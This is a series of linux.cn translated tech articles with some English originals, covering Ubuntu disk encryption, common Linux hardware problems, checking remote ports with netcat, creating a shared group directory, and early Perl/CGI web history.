* Jim Camp 的 《<ruby> <a href="https://www.amazon.com/Start-No-Negotiating-Tools-that-ebook/dp/B003EY7JEE/"> 从零开始:专业人士不想让你了解的谈判工具 </a> <rp> ( </rp> <rt> Start with No: The Negotiating Tools that the Pros Don’t Want You to Know </rt> <rp> ) </rp></ruby>》。

### 学习如何为用户编写代码
与同事或其他人的交流大部分是以文本的形式进行的:目标描述和评论、代码注释、Git 提交、即时聊天消息、电子邮件、推文、博客等。
想象一下,人们要花费多少时间来阅读和理解所有以上提到的这一切。如果你可以通过写得更清楚、简洁来减少这个时间,世界将变成一个更好的工作场所。
* William Zinsserd 的《<ruby> <a href="https://www.amazon.com/gp/product/0060891548/"> 写作法宝 : 非虚构写作指南 </a> <rp> ( </rp> <rt> On Writing Well: The Classic Guide to Writing Nonfiction </rt> <rp> ) </rp></ruby>》。
* William Strunk 和 E. B. White 的《<ruby> <a href="https://www.amazon.com/Elements-Style-4th-William-Strunk/dp/0205313426/"> 英文写作指南 </a> <rp> ( </rp> <rt> The Elements of Style </rt> <rp> ) </rp></ruby>》。
* [奥威尔写作规则](http://www.economist.com/blogs/prospero/2013/07/george-orwell-writing)。
* 俄文:很好的 [Glavred 课程](http://maximilyahov.ru/glvrd-pro/)。
### 学习以前的计算机科学智慧
前端开发已经不仅仅简单的下拉菜单了,它前所未有的更复杂了。随着我们所需解决问题的复杂度越来越高,声名狼藉的“JavaScript 疲乏症”也随之出现了。
这意味着现在需要学习非前端开发人员过去几十年所积累形成的知识精华。而这也是我最想听到你向我推荐的内容了。
以下是我个人给大家的推荐:
* Coursera 的 《<ruby> <a href="https://www.coursera.org/specializations/algorithms"> 学习像计算机科学家那样思考方式 </a> <rp> ( </rp> <rt> Learn To Think Like A Computer Scientist </rt> <rp> ) </rp></ruby>》。
* [DHH](https://medium.com/u/54bcbf647830) 的 [对我意义非凡的五本书](https://signalvnoise.com/posts/3375-the-five-programming-books-that-meant-most-to-me)。
---
读完本文,你有些什么建议呢?在这新的 2017 年里你又想学习些什么呢?
---
作者简介:
Web 开发者,充满激情的摄影者,crazy dogs 的主人。
译者简介:
[GHLandy](http://GHLandy.com) —— 欲得之,则为之奋斗 (If you want it, work for it.)。
---
via: <https://medium.freecodecamp.com/what-to-learn-in-2017-if-youre-a-frontend-developer-b6cfef46effd#.ss9xbwrew>
作者:[Artem Sapegin](https://medium.freecodecamp.com/@sapegin) 译者:[GHLandy](https://github.com/GHLandy) 校对:[bestony](https://github.com/bestony)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,184 | 如何在 Ubuntu 中加密硬盘 | https://www.maketecheasier.com/encrypt-hard-disk-in-ubuntu/ | 2017-02-08T15:44:00 | [
"加密"
] | https://linux.cn/article-8184-1.html | 
隐私保护、安全和加密是不可分开的,用户可以通过加密来提高安全和保护操作系统的隐私信息。本文将会介绍在 Ubuntu Linux 中对硬盘全盘加密的优缺点。此外,我们也介绍如何在系统级别上进行加密设置,并对一些目录进行加密。加密是非常有用的,而且也没有你想象中那么复杂。综上所述,让我开始进行加密吧。
### 加密的优缺点
尽管进行全盘加密听起来非常棒,但是否要这么做还是有些争议的。我们先来看看这个做法有哪些优缺点。
#### 加密的优点
* 提高私密程度
* 只有拥有密钥的人才能访问操作系统及其中文件
* 确保政府或者黑客无法侦测你的系统和侵犯你的隐私
#### 加密的缺点
* 在其他的 Linux 操作系统上访问和挂载文件系统将变得困难
* 无法从那些加密分区中恢复数据
* 如果用户丢失了加密密钥,那就彻底悲剧了
### 安装前的准备
在 Ubuntu 中加密最好就是在安装进程开始之前在系统层面进行。在 Ubuntu 安装进程开始之后是无法加密的,所以先备份你的重要数据到 [Dropbox](http://www.maketecheasier.com/tag/dropbox)、 [Google Drive](http://www.maketecheasier.com/tag/google-drive) (或者其它硬盘上),然后后准备重新安装 Ubuntu。

从 [此处](https://www.ubuntu.com/download/alternative-downloads) 开始下载最新版本的 Ubuntu,并制作好可启动的 U 盘 (需要至少 2 GB 可用空间)。
制作启动 U 盘需要一个烧录程序,可以到 [etcher.io](https://etcher.io/) 去下载。下载好之后解压 zip 文件,右击 (或者使用鼠标选定之后按下回车) 解压出来的文件以运行。

**注意**:烧录程序会询问是否创建图标,选择“yes”。
在烧录程序中点击“<ruby> 选择镜像 <rp> ( </rp> <rt> Select Image </rt> <rp> ) </rp></ruby>”按钮,选择之前下载好的 Ubuntu ISO 镜像。然后插入你的 U 盘。烧录程序会自动检测并为你选择。最后,点击“<ruby> 开始烧录 <rp> ( </rp> <rt> Flash </rt> <rp> ) </rp></ruby>”按钮来开始创建进程。
完成之后,重启电脑至 BIOS,设置为 U 盘启动。
**注意**:如果你的电脑不支持从 U 盘启动,下载 32 位的 Ubuntu,并使用你电脑中的烧录软件将其烧录到 DVD 中。
### 对你的硬盘进行全盘加密
加载好 Live Ubuntu 之后,安装进程就可以开始了。当 Ubuntu 安装进程开始之后,会出现下面这样一个界面。注意每个人安装进程都可能不同的,或许你会看到的不太一样。

选择“<ruby> 擦除磁盘并安装 Ubuntu <rp> ( </rp> <rt> Erase disk and install Ubuntu </rt> <rp> ) </rp></ruby>”,并选择“<ruby> 加密新装的 Ubuntu 以提高安全程度 <rp> ( </rp> <rt> Encrypt the new Ubuntu installation for Security </rt> <rp> ) </rp></ruby>”来开始加密的安装进程。这样会自动选择 LVM。两个选框都必须选中。选好加密选项之后,点击“<ruby> 现在安装 <rp> ( </rp> <rt> Install Now </rt> <rp> ) </rp></ruby>”。
**注意**:如果是双系统启动的话,你需要安装到空余磁盘空间,而非擦除磁盘。选择好之后,像上边一样选择加密选项。
选择加密选项并开始安装之后,会出现一个加密配置页面。这个页面用户需要为安装进程设置自己的加密密钥。

输入安全密钥。该安全密钥设置窗口会自动为你输入的密钥进行密码强度评级,使用这个功能时看着后边的显示,直到显示为“<ruby> 高强度密码 <rp> ( </rp> <rt> strong password </rt> <rp> ) </rp></ruby>”为止。输入完成后,在下方在此输入来确认密码,最后用一张纸把密码写下下来妥善保管。
此外,选定“<ruby> 覆些磁盘空余空间 <rp> ( </rp> <rt> Overwrite empty disk space </rt> <rp> ) </rp></ruby>”,当然这是一个可选步骤。一切准备就绪之后点击现在安装即可。

在设置完加密密钥之后,就是传统的 Ubuntu 安装配置了。选择时区、创建用户以及对应的安全密码。

与创建和加密 Ubuntu 磁盘对应,在创建用户的时记得候选择“<ruby> 登录系统需要密码 <rp> ( </rp> <rt> require my password to log in </rt> <rp> ) </rp></ruby>”和“<ruby> 加密我的家目录 <rp> ( </rp> <rt> encrypt my home folder </rt> <rp> ) </rp></ruby>”。这样可以为你的数据再增加一层保护。
等到用户名、加密设置以及其他所有事情都完成之后,Ubuntu 安装进程就可以开始了。随后,安装进程会告知你安装已完成,移除安装介质后重启即可享受 Ubuntu 之旅。
### 结论
进行磁盘加密之后,如果没有加密密钥则无法开启 Ubuntu。尽管无趣,但这种级别的加密使用最容易的,并且还充分利用了操作系统提供的特性。用户不需要过多的知识,或者使用其他第三方程序就可以很快完成加密要求。

加密之后的 Ubuntu,使用起来和没有加密的并没有什么区别。不需要其他的步骤,也不需要学习什么复杂的解密方法。对于那些非常在意隐私但又不想太过麻烦的人来说,这个提高安全等级的方法是必须学会的(当然,这很容易不是吗)。
你是否会使用 Ubuntu 对硬盘进行加密呢?在下方评论告诉我们。
---
译者简介:
[GHLandy](http://GHLandy.com) —— <ruby> 欲得之,则为之奋斗。 <rp> ( </rp> <rt> If you want it, work for it. </rt> <rp> ) </rp></ruby>
---
via: <https://www.maketecheasier.com/encrypt-hard-disk-in-ubuntu/>
作者:[Derrik Diener](https://www.maketecheasier.com/author/derrikdiener/) 译者:[GHLandy](https://github.com/GHLandy) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | 
Privacy, security and encryption go hand in hand. With encryption users can take extra steps to increase the security and privacy of their operating system. In this article we’ll go over the benefits and downsides of encrypting the entire hard drive on Ubuntu Linux. Additionally, we’ll cover exactly how to set up encryption at the OS level and encrypt the home directory. The encryption process is rewarding and not as complicated as some might think! With all that in mind, let’s get started!
## Pros and Cons of Encryption
Though encrypting an entire hard drive sounds like a flawless idea, there are some issues in doing it. Let’s go over the pros and cons.
### Benefits of Encryption
- Increased privacy
- Only those with the encryption key can access the operating system and all the files on it
- No state-governments or hackers can spy on your machine and invade your privacy
### Downsides of Encryption
- Accessing and mounting Linux file systems on other Linux operating systems will be difficult if not practically impossible
- Recovering data from these partitions is impossible
- If a user loses the decryption key, they are out of luck
## Preparing Installation
Encrypting with Ubuntu is best done at the OS level right when the installation starts. It isn’t feasible to encrypt an active Ubuntu installation, so back up all your important files to Dropbox, Google Drive (or even to extra hard drives) and prepare to reinstall Ubuntu.
Start out by downloading the latest version of Ubuntu from [here](https://www.ubuntu.com/download/alternative-downloads), and get a USB flash drive (of at least 2GBs in size) ready.
A program is needed in order to make a live USB disk. Head to etcher.io and download the Etcher tool. Extract it from the zip archive, and right click (or highlight with the mouse and press the Enter key) on the extracted file to run it.
**Note**: Etcher will ask to create an icon – select “yes.”
Inside Etcher click the “Select Image” button, and navigate towards the Ubuntu ISO image downloaded earlier. Then, plug in the USB flash drive. Etcher will automatically detect it and select for you. Finally, select the “Flash!” button to start the creation process.
Once completed, reboot the computer with the flash drive still plugged in, load the computer’s BIOS and select the option to boot from USB.
**Note**: if your machine does not support booting from USB, download the 32bit version of Ubuntu and burn the ISO to a DVD using the burning software on your computer.
## Encrypting Your Entire Hard Disk
With the live Ubuntu disk loaded, the installation can begin. When the Ubuntu installation begins, a window similar to this will appear. Keep in mind that each installation process is different and may say different things.
To begin the encrypted installation, select “Erase disk and install Ubuntu,” and check “**Encrypt the new Ubuntu installation for Security**” box. This will automatically select LVM as well. Both boxes must be checked. After selecting the encryption options, click “Install Now” to begin installation.
**Note**: if this is a dual-boot machine, you may notice install alongside instead of erase. Select it, and select the encryption options mentioned above as well.
Clicking “Install Now” with the encryption options selected in Ubuntu will bring up a configuration page. This page allows the user to set the encryption key for the installation.
Enter the security key. The security key window will grade the effectiveness of the security key, so use this tool as a barometer and try to get a security key that says “strong password.” Once chosen, enter it again to confirm it, and then write this key down on a piece of paper for safekeeping.
Additionally, check the box that says “Overwrite empty disk space.” This is an optional step. Select install now once everything is entered.
What follows selecting the encryption key is the typical Ubuntu installation configuration. Select the time zone, and create a username along with a secure password.
Along with creating an encrypted hard drive on Ubuntu, select the “require my password to log in” box and the “encrypt my home folder” box during the username creation process. This will add yet another layer of encryption for data on the system.
With the username, encryption settings and everything else configured, the Ubuntu installation will begin. Soon after, Ubuntu will inform the user that the installation has been completed and that everything is ready to go!
## Conclusion
From this point on Ubuntu will not be able to be accessed without the decryption key at startup. Though tedious, encrypting Ubuntu this way is the easiest and takes advantage of the features already present in the operating system. Users will not need to learn much, nor will they need to rely on third party programs to accomplish this task.
With Ubuntu decrypted, it runs like normal. No extra hoops to jump through nor overly complicated decryption methods to learn. This method of security is a must for those who value their privacy but don’t want to fuss.
Would you encrypt your Ubuntu installation? Tell us below!
Our latest tutorials delivered straight to your inbox |
8,185 | 故障排除提示:5 个最常见的 Linux 问题 | https://opensource.com/article/17/1/yearbook-linux-troubleshooting-tips | 2017-02-08T18:39:15 | [
"Linux",
"安装"
] | https://linux.cn/article-8185-1.html |
>
> 了解如何解决 Linux 桌面用户遇到的最常见的问题
>
>
>

尽管绝大多数用户如预期地成功安装和操作了 Linux, 但不可避免地仍会有一些用户遇到问题。作为今年任务队列里的最后一篇文章,我认为在即将进入 2016 年时,总结一下人们所遇到的最常见的技术性的 Linux 问题会很有趣。我把这个问题发布到了 LinuxQuestions.org(LQ) 和社交媒体,我分析了 LQ 的帖子情况之后,得到如下成果。
### 1、 Wifi 驱动程序(特别是 Broadcom 芯片)
一般来说,Wifi 驱动程序,特别是 Broadcom 无线网卡,仍然是 Linux 面临的最大的问题技术问题之一。在 LQ 上,2016 年有数以百计的帖子在讨论这个话题,而且还有其他无数的地方也是。市场上有数十种 Broadcom 无线网卡可供使用,但为每一个发行版描述具体的排错细节来已经超出了一篇文章的范畴,但是基本的故障排除步骤是相同的:
* 通过使用 `lspci` 命令确定具体使用的 Broadcom 卡,以找出 PCI ID,
* 确定使用发行版是否支持该卡,
* 如果支持,找到正确的方法来使网卡工作。
例如,如果有一个 `14e4:4315` PCI ID 的卡,并且系统为 Ubuntu,则应该知道 BCM4312 卡可以通过安装 `firmware-b43-installer` 包来驱动。另一个选择是在购买之前,研究好可用的 WiFi 卡,以确保您的发行版完全支持它。
### 2、 打印机驱动程序(特别是佳能和 Lexmark)
打印机也是常有问题的,佳能和 Lexmark 被反复提及遇到这种问题。如果您要购买一台新打印机,请在购买之前研究兼容性。但是,如果您从其他操作系统迁移,这可能没得选择。如果你正在做调研,[OpenPrinting](http://www.openprinting.org/printers) 数据库和您的发行版的官方支持渠道是两个最好的起点。请注意,您应确保设备的所有功能完全兼容,特别是如果它是个多功能产品。对佳能打印机的一个常见的抱怨是,驱动程序通常只能在非英语,甚至是很难找的网站上才有。
>
> 如果您购买的是新打印机,请在购买之前研究兼容性。
>
>
>
### 3、 显卡
显卡是一个微妙的话题,因为在 Linux 上显卡可以非常好的简单直观的开箱即用。出现的问题是:显卡加速器/3D 加速;最新的显卡和最新显示技术,如 NVIDIA Optimus 和 ATI 动态 GPU 切换;专有驱动程序的安装和稳定性;能效管理;以及可靠的挂起和恢复。如果你不是一个游戏玩家,也没有别的需要高端图形功能的需求,并且不是使用笔记本电脑,那么你可能不必担心这个。如果您正在寻找一台新的笔记本电脑,一定要在购买前研究好兼容性。如果你是一个游戏玩家或需要最高端的图形功能,你需要明确知道你的需求是什么,然后开始你的研究。幸运的是,这种情况正在改善,Wayland 开始解决问题,2017 年情况应该会变得好一些。
### 4、 声卡
再次,对于简单配置,声卡非常容易设置并可以很可靠地在 Linux 上运行。一旦你买的是专业级产品,例如回声消除、音频路由,统一混合和其他复杂的配置,它可能就很快地每况愈下。我的建议是,如果你需要高端的实时音频,请使用专用的音频相关的发行版。
### 5、 安装
有了这个包罗万象的分类,本文几乎保证是高质量的。也就是说,公平的说,我不知道 Linux 有普遍的安装问题。绝大多数的安装都按预期进行。Linux 支持多种硬件,安装 Linux 机器上可能有近乎无限的硬件组合,不可避免会导致了某种情况下的例外情况。最终用户其实也很少安装类似 Mac OS 或 Windows 这样的其它系统,因为它们都是随同新设备预安装的。
>
> 绝大多数的安装都按预期进行。
>
>
>
### 前景光明
其他提到的问题经常包括蓝牙、挂起/恢复,HiDPI 和触摸屏。您可能会看到这里形成一个模式,本文中提到的大多数问题集中在桌面用户。如果你已经意识到了这点,这其实是有意义的。Linux 桌面使用率相对较低,导致结果是,用于发现和解决相关问题的测试和资源很少。随着桌面使用量的增加,可以预期这些部分会改善。
在这方面,我认为最好提及的一个例子,曾经常常作为 Linux 的问题提出,但是反而最近很罕见:字体。几年前,获得高品质的抗锯齿字体常常是个问题。但是,随着现代发行版本的更新,它已成为常规。
你认为 2016 年最常见的 Linux 技术问题是什么? 请在评论中留言告诉我。
---
作者简介:
Jeremy Garcia 是 LinuxQuestions.org 的创始人,热心而践行开源理念。在 Twitter 上关注 Jeremy:@linuxquestions
---
via: <https://opensource.com/article/17/1/yearbook-linux-troubleshooting-tips>
作者:[Jeremy Garcia](https://opensource.com/users/jeremy-garcia) 译者:[Vic020](http://vicyu.net) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | Although Linux installs and operates as expected for most users, inevitably some users will run into problems. For my final article in The Queue column for the year, I thought it would be interesting to summarize the most common technical Linux issues people ran into in 2016. I posted the question to LinuxQuestions.org and on social media, and I analyzed LQ posting patterns. Here are the results.
## 1. Wifi drivers (especially Broadcom chips)
Generally speaking, wifi drivers—and Broadcom cards in particular—continue to be one of the most problematic technical issues facing Linux. There were hundreds of posts about this topic on LQ alone in 2016, and myriad more elsewhere. Dozens of Broadcom wireless cards are available, and detailed instructions for getting them to work with each distribution is far too involved for a single article, but the basic troubleshooting steps are the same:
- ascertain exactly which Broadcom card you have by using
*lspci*to find out the PCI ID, - determine whether the distribution you use supports that card,
- and if it does, identify the proper way to get the card working.
For example, if you have a 14e4:4315 PCI ID and are using Ubuntu, then you know the BCM4312 card is supported by installing the *firmware-b43-installer* package. The other option you have is to research the wifi card before your purchase to ensure it's fully supported by your distribution of choice out of the box.
## 2. Printer drivers (especially Canon and Lexmark)
Printers also continue to be problematic, with Canon and Lexmark repeatedly cited for being an issue. If you're purchasing a new printer, research compatibility before you buy. But if you are migrating from another operating system, that may not be an option. If you are doing research, the [OpenPrinting](http://www.openprinting.org/printers) database and the official support channel for your distribution are the two best places to start. Note that you should ensure all functionality of a device is fully compatible, especially if it's a multifunction product. One common complaint with Canon printers is that the drivers are often only available on non-English and sometimes obscure sites.
## 3. Video
Video is a nuanced topic, as simple straightforward video works extremely well out of the box on Linux. Where the issues pop up are video accelerators/acceleration; the latest video cards and newest technologies, such as NVIDIA Optimus and ATI dynamic GPU switching; installation and stability of proprietary drivers; efficient power management; and reliable suspend and resume. If you're not a gamer, do not need high-end graphics for another reason, and are not on a laptop, then you probably don't have to worry about this. If you're looking for a new laptop, be sure to research compatibility before your purchase. If you're a gamer or need the highest-end graphics, you'll need to know exactly what your requirements are and start your research there. Luckily, the situation here is improving and, Wayland teething issues aside, the situation should be quite a bit better in 2017.
## 4. Audio
Once again, for simple setups, audio has been easy to configure and reliable under Linux for a while. As soon as you get into professional production, echo cancellation, audio routing, unified mixing, and other complex setups, however, it can go south pretty quickly. My suggestion is to use one of the dedicated audio-related distributions if you need high-end real-time audio.
## 5. Installation
With a category this all-encompassing, it's almost guaranteed to be high volume. That said, I don't know that it's fair to say Linux has wide-spread installation issues. The vast majority of installs go as expected. The sheer variety of hardware that Linux supports, and nearly infinite combinations of hardware on which Linux installs are attempted, inevitably lead to edge cases here and there. Keep in mind that end users rarely install other operating systems, such as Mac OS and Windows, as they come pre-installed on new devices.
## Future looks bright
Other issues that were mentioned frequently include Bluetooth, suspend/resume, HiDPI, and touchscreens. You may see a pattern forming here—most of the issues noted in this article focus on desktop use cases. When you think about it, that makes sense. With Linux desktop adoption being relatively low, the result is that less testing and resources go into finding and fixing related issues. As desktop usage increases, you can anticipate these areas improving.
On that note, I thought it would be nice to end with a mention of one area that used to pop up frequently as a problem area for Linux, and very rarely does these days: fonts. Only a few short years ago, getting high-quality antialiased fonts were the exception. With modern distribution releases, it has become the rule.
What technical Linux issues did you find most common in 2016? Let me know about them in the comments.
## 18 Comments |
8,186 | 使用 nc 命令检查远程端口是否打开 | http://www.tecmint.com/check-remote-port-in-linux/ | 2017-02-09T11:50:00 | [
"nc",
"端口",
"netcat"
] | https://linux.cn/article-8186-1.html | **端口**是与 Linux 操作系统上的应用或进程的通讯端点的逻辑实体。在使用之前,了解目标机器上哪些端口是打开并正在运行服务是非常有用的。
我们可以使用 [netstat](8个实用的netcat命令实例) 或其他几个 Linux 命令如 [NMAP](https://linux.cn/tag-nmap.html) 在本地机器上轻松地[列出 Linux 中的打开端口](/article-8081-1.html)。

在本指南中,我们将向你展示如何使用简单的 `netcat`(简称 `nc`)命令来确定远程主机上的端口是否可访问/打开。
`netcat`(或简称 `nc`)是一个功能强大且易于使用的程序,可用于 Linux 中与 TCP、UDP 或 UNIX 域套接字相关的任何事情。
```
# yum install nc [在 CentOS/RHEL 中]
# dnf install nc [在 Fedora 22+ 中]
$ sudo apt-get install netcat [在 Debian/Ubuntu 中]
```
我们可以使用它:打开 TCP 连接、侦听任意 TCP 和 UDP 端口、发送 UDP 数据包、在 IPv4 和 IPv6 进行端口扫描。
使用 **netcat**,你可以检查单个或多个或一段打开的端口范围,如下所示。下面的命令将帮助我们查看端口 22 是否在主机 192.168.56.10 上打开:
```
$ nc -zv 192.168.1.15 22
```
上面的命令中,这些标志是:
1. `-z` – 设置 nc 只是扫描侦听守护进程,实际上不向它们发送任何数据。
2. `-v` – 启用详细模式
下面的命令会检查远程主机 192.168.5.10 上是否打开了端口 80、22 和 21(我们也可以使用主机名):
```
nc -zv 192.168.56.10 80 22 21
```
也可以指定端口扫描的范围:
```
$ nc -zv 192.168.56.10 20-80
```
更多关于 netcat 命令的例子和使用,阅读我们下面的文章。
1. [使用 netcat 命令在 Linux 服务器间传输文件](http://www.tecmint.com/transfer-files-between-two-linux-machines/)
2. [Linux 网络配置及排障调试命令](http://www.tecmint.com/linux-network-configuration-and-troubleshooting-commands/)
就是这样。在本文中,我们解释了如何使用 netcat 命令检测远程主机端口是否可达/打开。请在评论栏中留下你的想法。
---
作者简介:
Aaron Kili 是 Linux 和 F.O.S.S 爱好者,将来的 Linux SysAdmin 和 web 开发人员,目前是 TecMint 的内容创建者,他喜欢用电脑工作,并坚信分享知识。
---
via: <http://www.tecmint.com/check-remote-port-in-linux/>
作者:[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,187 | 如何在 Linux 中创建一个共享目录 | http://www.tecmint.com/create-a-shared-directory-in-linux/ | 2017-02-09T17:40:31 | [
"共享",
"权限"
] | https://linux.cn/article-8187-1.html | 作为系统管理员,你可能有一个特定目录,你希望为 Linux 服务器上的每个用户授予读/写访问权限。在本指南中,我们将回顾如何在 Linux 中对特定目录(共享目录)上的所有用户启用写访问。

这要求设置适当的访问权限,而最有效、可靠的方法是为所有要共享或对特定目录的写访问权的用户分配一个公共组。
如果你系统中还没有这个目录和公众组,用下面的命令创建:
```
$ sudo mkdir -p /var/www/reports/
$ sudo groupadd project
```
接着将对目录 `/var/www/reports/` 有写权限的用户添加到 `project` 组中。
```
$ sudo usermod -a -G project tecmint
```

*创建公共目录组*
上面命令使用到的标志和参数是:
1. `-a` – 将用户添加到增补组中。
2. `-G` – 指定组名。
3. `project` – 组名。
4. `tecmint` – 已有的用户名。
在这之后,给目录配置适当的权限,`-R` 会让操作递归进入子目录中:
```
$ sudo chgrp -R project /var/www/reports/
$ sudo chmod -R 2775 /var/www/reports/
```
解释下上面 `chmod` 命令中的 `2775`:
1. `2` - 打开 setGID 位,意味着新创建的子文件继承与目录相同的组,新创建的子目录继承父目录的 setGID 位。
2. `7` - 为所有者提供 rwx 权限。
3. `7` - 给组 rwx 权限。
4. `5` - 为其他人提供 rx 权限。
你可以使用下面的命令创建更多的系统用户并将它们添加到目录组中:
```
$ sudo useradd -m -c "Aaron Kili" -s/bin/bash -G project aaronkilik
$ sudo useradd -m -c "John Doo" -s/bin/bash -G project john
$ sudo useradd -m -c "Ravi Saive" -s/bin/bash -G project ravi
```
接着创建每个用户存储他们项目报告的子目录:
```
$ sudo mkdir -p /var/www/reports/aaronkilik_reports
$ sudo mkdir -p /var/www/reports/johndoo_reports
$ sudo mkdir -p /var/www/reports/ravi_reports
```
现在你可以创建文件/文件,并分享给该组的其他用户了。
就是这样了!在本篇中,我们回顾了如何启用所有用户对特定目录的写权限。要了解更多关于 Linux 中的用户/组,阅读[如何管理用户/组和属性](/article-7418-1.html)。
记得在评论栏中留下你对这篇文章的想法。
---
译者简介:
Aaron Kili 是 Linux 和 F.O.S.S 爱好者,将来的 Linux SysAdmin 和 web 开发人员,目前是 TecMint 的内容创建者,他喜欢用电脑工作,并坚信分享知识。
---
via: <http://www.tecmint.com/create-a-shared-directory-in-linux/>
作者:[Aaron Kili](http://www.tecmint.com/author/aaronkili/) 译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,188 | Perl 与动态网站的诞生 | https://opensource.com/life/16/11/perl-and-birth-dynamic-web | 2017-02-10T08:15:00 | [
"Perl",
"CGI",
"网站"
] | https://linux.cn/article-8188-1.html |
>
> 在新闻组和邮件列表里、在计算机科学实验室里、在各大陆之间,流传着一个神秘的故事,那是关于 Perl 与动态网站之间的不得不说的往事。
>
>
>

早期互联网历史中,有一些脍炙人口的开创性事件:如<ruby> 蒂姆·伯纳斯·李 <rp> ( </rp> <rt> Tim Berners-Lee </rt> <rp> ) </rp></ruby>在邮件组上[宣布](https://groups.google.com/forum/#!msg/alt.hypertext/eCTkkOoWTAY/bJGhZyooXzkJ) WWW-project 的那天,该文档随同 [CERN](https://tenyears-www.web.cern.ch/tenyears-www/) 发布的项目代码进入到了公共域,以及 1993 年 1 月的[第一版 NCSA Mosaic 浏览器](http://1997.webhistory.org/www.lists/www-talk.1993q1/0099.html)。虽然这些独立的事件是相当重要的,但是当时的技术的开发已经更为丰富,不再是由一组的孤立事件组成,而更像是一系列有内在联系的故事。

这其中的一个故事描述的是网站是如何变成*动态的*,通俗说来就是我们如何使服务器除了提供静态 HTML 文档之外做更多的事。这是个流传在[新闻组](https://en.wikipedia.org/wiki/Usenet_newsgroup)和邮件列表间、计算机科学实验室里、各个大陆之间的故事,重点不是一个人,而是一种编程语言:Perl。
### CGI 脚本和信息软件
在上世纪 90 年代中后期,Perl 几乎和动态网站是同义词。Perl 是一种相对来说容易学习的解释型语言,并且有强大的文本处理特性,使得它能够很容易的编写脚本来把一个网站关联到数据库、处理由用户发送的表单数据,当然,还要创造那些上世纪 90 年代的网站的经典形象——计数器和留言簿。
类似的网站特性渐渐的变成了 CGI 脚本的形式,其全称为<ruby> 通用网关接口 <rp> ( </rp> <rt> Common Gateway Interface </rt> <rp> ) </rp></ruby>,[首个实现](http://1997.webhistory.org/www.lists/www-talk.1993q4/0518.html)由 Rob McCool 于 1993 年 11 月在 NCSA HTTPD 上完成。CGI 是目的是直面功能,并且在短短几年间,任何人都可以很容易的找到一些由 Perl 写的预制的脚本存档。有一个声名狼籍的案例就是 [Matt's Scripts Archive](https://web.archive.org/web/19980709151514/http://scriptarchive.com/),这是一种流行却包含各种安全缺陷的源代码库,它甚至使得 Perl 社区成员创建了一种被称为 [Not Matt‘s Scripts](http://nms-cgi.sourceforge.net/) 的更为专业的替换选择。
在当时,无论是业余爱好者,还是职业程序员都采用 Perl 来制作动态网站和应用,Tim O’Reilly 创造了词汇<ruby> <a href="https://web.archive.org/web/20000815230603/http://www.edventure.com/release1/1198.html"> “信息软件” </a> <rp> ( </rp> <rt> infoware </rt> <rp> ) </rp></ruby>来描述网站和 Perl 怎样成为变化中的计算机工业的一部分。考虑到 Yahoo!和 Amazon 带来的创新,O‘Reilly 写道:“传统软件在大量的软件中仅仅包含了少量的信息;而信息软件则在少量的软件中包含了大量的信息。” Perl 是一种像瑞士军刀一样的完美的小而强大的工具,它支撑了信息媒体从巨大的网站目录向早期的用户生成内容(UGC)平台的转变。
### 题外话
尽管使用 Perl 来制作 CGI 简直是上佳之选,但是编程语言和不断提升中的动态网站之间的关系变得更加的密切与深入。从[第一个网站](http://info.cern.ch/hypertext/WWW/TheProject.html)(在 1990 年的圣诞节前)出现到 1993 年 McCool 实现 CGI 的短暂时期内,Web 上的各种东西,比如表单、图片以及表格,就这么逐渐出现在上世纪 90 年代乃至后来。尽管伯纳斯·李也对这些早期的岁月产生了影响,但是不同的人看到的是 Web 不同的潜在作用,并将它推向各自不同的方向。一方面,这样的结果来自一些著名的辩论,例如 [HTML 应该和 SGML 保持多近的关系](http://1997.webhistory.org/www.lists/www-talk.1993q1/0096.html)、[是否应该实现一个图像标签](http://1997.webhistory.org/www.lists/www-talk.1993q1/0182.html)等等。在另一方面,在没有直接因素影响的情况下改变是极其缓慢的。后者已经很好的描述了动态网站是如何发展的。
从某种意义上说,第一个“网关”的诞生可以追溯到 1991 至 1992 年之间(LCTT 译注:此处所谓“网关”的意义请参照 CGI 的定义),当时伯纳斯·李和一些计算机科学家与超文本爱好者[编写服务程序](http://info.cern.ch/hypertext/WWW/Daemon/Overview.html)使得一些特定的资源能够连接到一起,例如 CERN 的内部应用程序、通用的应用程序如 Oracle 数据库、[广域信息查询系统(WAIS)](https://en.wikipedia.org/wiki/Wide_area_information_server) 等等。(WAIS 是 Web 的前身,上世纪 80 年代后期开发,其中,开发者之一 [Brewster Kahle](http://brewster.kahle.org/about/),是一个数字化图书管理员和 [Internet Archive](https://archive.org/index.php) 的创始人。)可以这样理解,“网关”就是一个被设计用来连接其它 Web、数据库或者应用程序的定制的 Web 服务器。任何的动态功能就意味着在不同的端口上运行另外一个守护进程(参考阅读,例如伯纳斯·李对于在网站上[如何添加一个搜索功能](http://1997.webhistory.org/www.lists/www-talk.1993q1/0109.html) 的描述)。伯纳斯·李期望 Web 可以成为不同信息系统之间的通用接口,并且鼓励建立单一用途服务。他也提到 Perl 是一种强大的(甚至是不可思议)、可以将各种东西组合起来的语言。
